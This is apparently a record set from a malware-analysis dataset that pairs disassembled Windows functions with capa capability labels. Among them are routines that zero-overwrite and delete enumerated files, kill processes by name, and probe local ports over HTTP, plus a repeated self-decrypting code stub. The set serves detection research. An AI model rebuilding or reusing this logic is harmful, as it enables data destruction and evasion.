joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a32
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
call fcn.0040250d
mov esi, eax
call fcn.00402547
mov dword [esp], esi
mov ebx, eax
call fcn.00402606
mov dword [esp], ebx
call fcn.00402581
test esi, esi
je 0x402a64
mov dword [esp], esi
call sub.msvcrt.dll_free
test ebx, ebx
je 0x402a70
mov dword [esp], ebx
call sub.msvcrt.dll_free
xor eax, eax
cmp byte [0x40f060], 0
je 0x402aa3
xor eax, eax
xor edx, edx
mov dword [esp + 8], 0x402a17
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x402d23
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x1c]
push ebx
sub esp, 0x3c
imul eax, dword [ebp + 0xc], 0x3e8
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x1c], eax
mov dword [esp + 0xc], edi
mov dword [esp], esi
mov dword [esp + 0x10], 4
mov dword [esp + 8], 0x1006
mov dword [esp + 4], 0xffff
call ebx
sub esp, 0x14
mov dword [esp + 0xc], edi
mov dword [esp], esi
mov dword [esp + 0x10], 4
mov dword [esp + 8], 0x1005
mov dword [esp + 4], 0xffff
call ebx
sub esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402dd3
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ecx, 0x200
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
mov eax, esi
sub esp, 0x2c
mov ebx, dword [ebp + 0x14]
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], str._r_n_r_n
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], str.GET___HTTP_1.1_r_nAccept:_text_plain_r_nAccept_Encoding:_gzip__deflate__br_r_nConnection:_close_r_nHost:
mov dword [esp + 0x10], eax
mov dword [esp + 8], str._s_s:_d_s
mov dword [esp + 4], 0x800
mov dword [esp], ebx
call fcn.00402cf9
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
xor edx, edx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
inc eax
jne 0x402e4e
xor eax, eax
jmp 0x402ea9
mov eax, esi
mov ecx, 0x200
mov edi, ebx
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 8], 0x800
mov dword [esp + 0xc], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
inc eax
je 0x402e4a
mov dword [esp + 4], str.build_id:
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
je 0x402e4a
mov dword [esp + 4], str.current_stage:_EXECUTION_STAGE_DONE
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
cmp eax, 1
sbb eax, eax
add eax, 2
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402eb1
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push ebp
xor ecx, ecx
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x814]
push ebx
sub esp, 0x9cc
mov dword [ebp - 0x818], ecx
mov esi, dword [ebp + 8]
mov ecx, 0x1ff
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x9a8]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
inc eax
push ebx
push ebx
jne 0x402efa
xor eax, eax
jmp 0x402fd3
call fcn.00402d92
mov ebx, eax
cmp eax, 0xffffffff
je 0x402ef3
mov word [ebp - 0x9b8], 2
mov dword [esp], str.127.0.0.1
call dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov dword [ebp - 0x9b4], eax
movzx eax, si
mov dword [esp], eax
call edi
push edx
mov word [ebp - 0x9b6], ax
lea eax, [esi + 0x32]
mov dword [ebp - 0x9bc], eax
lea eax, [ebp - 0x9b8]
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
inc eax
je 0x402fa9
lea eax, [ebp - 0x818]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.127.0.0.1
mov dword [esp], ebx
call fcn.00402dd3
test eax, eax
je 0x402f8f
cmp eax, 2
sete al
mov esi, eax
jmp 0x402fc4
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push ecx
call fcn.00402d92
mov ebx, eax
cmp eax, 0xffffffff
je 0x402ef3
inc esi
movzx eax, si
mov dword [esp], eax
call edi
push edx
mov word [ebp - 0x9b6], ax
cmp dword [ebp - 0x9bc], esi
jne 0x402f42
xor esi, esi
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push eax
mov eax, esi
movzx eax, al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402fdb
Capabilities:
Enumerate processes
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x21c]
push ebx
xor ebx, ebx
sub esp, 0x46c
mov esi, dword [0x40f044]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
mov dword [ebp - 0x44c], ebx
lea ebx, [ebp - 0x44c]
mov dword [ebp - 0x45c], eax
xor eax, eax
mov dword [ebp - 0x220], ecx
mov ecx, 0x81
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x448]
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov eax, dword [0x40f054]
mov dword [esp], ebx
xor edi, edi
mov dword [esp + 4], str._s_
mov dword [esp + 8], eax
call fcn.00402cd8
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll__strlwr]
mov dword [ebp - 0x460], eax
mov dword [esp + 4], edi
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push edx
push edx
cmp eax, 0xffffffff
je 0x40316c
mov dword [ebp - 0x348], 0x128
mov ebx, eax
cmp esi, 6
lea eax, [ebp - 0x348]
mov dword [esp + 4], eax
sbb esi, esi
mov dword [esp], ebx
and esi, 0xfffff400
add esi, 0x1001
call sub.KERNEL32.dll_Process32First
dec eax
push edx
push edx
jne 0x40316c
lea eax, [ebp - 0x348]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_Process32Next
dec eax
push edx
push edx
jne 0x40316c
xor eax, eax
mov ecx, 0x82
lea edi, [ebp - 0x220]
mov edx, dword [ebp - 0x45c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x340]
cmp eax, edx
je 0x4030a8
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [eax - 1]
sub esp, 0xc
cmp eax, 0xfffffffd
ja 0x4030a8
lea eax, [ebp - 0x220]
mov dword [esp + 8], 0x208
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.PSAPI.DLL_GetProcessImageFileNameA
sub esp, 0xc
test eax, eax
je 0x40315d
lea eax, [ebp - 0x220]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__strlwr]
mov edx, dword [ebp - 0x460]
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4030a8
xor eax, eax
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push eax
push eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
jmp 0x4030a8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4034e8
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov eax, 0x104c
mov ebp, esp
push edi
push esi
push ebx
call fcn.004047a0
xor esi, esi
mov ecx, 0x3ff
sub esp, eax
xor eax, eax
lea edi, [ebp - 0x1014]
mov dword [ebp - 0x1018], eax
mov eax, esi
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
dec eax
sub esp, 0x1c
cmp eax, 0xfffffffd
ja 0x4035e7
mov dword [esp], ebx
call fcn.00401c5e
cmp esi, eax
mov dword [ebp - 0x102c], edx
mov ecx, eax
sbb esi, edx
jge 0x4035dd
xor esi, esi
xor edi, edi
xor eax, eax
mov dword [ebp - 0x1030], ecx
mov dword [ebp - 0x101c], eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1018]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
sub esp, 0x14
mov dword [esp + 4], 0x1000
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.00401c8c
add esi, 0x2000
mov ecx, dword [ebp - 0x1030]
mov edx, dword [ebp - 0x102c]
adc edi, 0
mov eax, edi
cmp esi, ecx
sbb eax, edx
jl 0x403570
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40373a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
xor ecx, ecx
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x214]
push ebx
lea ebx, [ebp - 0x218]
sub esp, 0x35c
mov dword [ebp - 0x218], ecx
mov ecx, 0x7f
rep stosd dword es:[edi], eax
mov eax, dword [0x40f058]
mov dword [esp + 4], str._s.
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.00402cd8
lea eax, [ebp - 0x358]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
push esi
cmp eax, 0xffffffff
je 0x403732
mov esi, eax
lea edi, [ebp - 0x32c]
mov dword [esp + 4], 0x40c55a
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40370b
mov dword [esp + 4], 0x40c55c
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40370b
mov dword [esp + 0xc], edi
mov eax, dword [0x40f058]
mov dword [esp + 4], str._s_s
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.00402cd8
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll__strlwr]
test byte [ebp - 0x358], 0x10
jne 0x40370b
mov eax, dword [0x40f050]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x40370b
mov eax, dword [0x40f04c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x40370b
mov dword [esp], ebx
call fcn.004034a5
test al, al
je 0x40370b
mov dword [esp], ebx
call fcn.004034e8
lea eax, [ebp - 0x358]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push edx
push edx
test eax, eax
jne 0x40366c
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
call fcn.00402fdb
call fcn.00403174
call fcn.00403452
leave
jmp 0x40360a

Function at 0x403781
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x40f054]
test eax, eax
je 0x4037f9
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [0x40f058]
test ebx, ebx
je 0x4037f2
mov ecx, dword [0x40f04c]
test ecx, ecx
je 0x4037f2
mov edx, dword [0x40f050]
test edx, edx
je 0x4037f2
cmp byte [eax], 0
mov eax, 0
je 0x4037f4
cmp byte [ebx], 0
je 0x4037f4
cmp byte [ecx], 0
je 0x4037f4
cmp byte [edx], 0
je 0x4037f4
xor eax, eax
xor edx, edx
mov dword [esp + 8], 0x403755
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
jmp 0x4037f4
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
ret

Function at 0x403a80
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00409c20
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00409c20
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x403ae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40f1b0]
test esi, esi
jle 0x403c00
mov eax, dword [0x40f1b4]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x403b14
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x403b97
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x403b00
mov dword [esp], ebx
call fcn.004044d0
mov edi, eax
test eax, eax
je 0x403c27
mov eax, dword [0x40f1b4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00404610
mov edx, dword [0x40f1b4]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x403c07
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x403b90
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x403ba0
add dword [0x40f1b0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40f1b4]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x403b90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00403a80
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x403b1e
mov eax, dword [0x40f1b4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00403a80
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00403a80
lea esi, [esi]
nop

Function at 0x404140
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40f1cc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40f1c4]
sub esp, 4
test ebx, ebx
je 0x404195
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40418e
test esi, esi
je 0x40418e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x404170
mov dword [esp], 0x40f1cc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4044d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4044f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x404500
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4044f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x404548
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40453e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40454a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x404530
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40a400
Capabilities:
Create thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x28
mov ebx, dword [ecx]
mov esi, dword [ecx + 4]
call fcn.004038c0
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00401944
call fcn.00401bc6
call fcn.004015d1
test eax, eax
je 0x40a4e6
xor ecx, ecx
xor ebx, ebx
mov dword [esp + 0xc], 0x40f048
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 4], ebx
mov dword [esp], ebx
mov dword [esp + 8], 0x4023d7
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov edi, eax
call fcn.00402a32
mov ebx, eax
call fcn.00403781
mov dword [esp], edi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 4], 0xffffffff
mov esi, eax
call edi
push eax
push eax
test esi, esi
je 0x40a4a0
mov dword [esp + 4], 0xffffffff
mov dword [esp], esi
call edi
push edx
push edx
test ebx, ebx
je 0x40a4b3
mov dword [esp + 4], 0xffffffff
mov dword [esp], ebx
call edi
push eax
push eax
mov eax, dword [0x40f050]
test eax, eax
je 0x40a4c4
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [0x40f058]
test eax, eax
je 0x40a4d5
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [0x40f04c]
test eax, eax
je 0x40a4e6
mov dword [esp], eax
call sub.msvcrt.dll_free
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4060ee
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406112
xor eax, eax
test eax, eax
je 0x406124
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406124
xor ecx, ecx
jmp 0x406127
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4061d1
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42cdfc], 0
push esi
jne 0x406208
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4061e2
mov dword [ecx*4 + 0x42cdf8], eax
inc ecx
cmp ecx, 0x100
jl 0x4061dd
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406239
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42cdf8]
xor eax, esi
inc ecx
dec edx
jne 0x40621b
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40e27b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b548]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00409431
mov dword [ebp - 0x14], eax
cmp dword [0x456f3c], esi
jne 0x40e36e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40e2fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40e44e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40e44e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e44e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x456f3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x456f40], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x456f44], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x456f4c], eax
test eax, eax
je 0x40e36b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x456f48], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40e393
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e386
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40e3a8
push 4
pop eax
jmp 0x40e450
cmp dword [ebp - 0x14], esi
je 0x40e3a8
push dword [0x456f3c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40e38d
mov eax, dword [0x456f48]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40e406
cmp dword [0x456f4c], edi
je 0x40e406
push eax
call ebx
push dword [0x456f4c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40e406
test eax, eax
je 0x40e406
call ecx
test eax, eax
je 0x40e3fb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40e3fb
test byte [ebp - 8], 1
jne 0x40e406
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40e436
mov eax, dword [0x456f40]
cmp eax, edi
je 0x40e433
push eax
call ebx
test eax, eax
je 0x40e433
call eax
mov esi, eax
test esi, esi
je 0x40e433
mov eax, dword [0x456f44]
cmp eax, edi
je 0x40e433
push eax
call ebx
test eax, eax
je 0x40e433
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x456f3c]
call ebx
test eax, eax
je 0x40e44e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40e450
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404483
mov esp, ebp
pop ebp
ret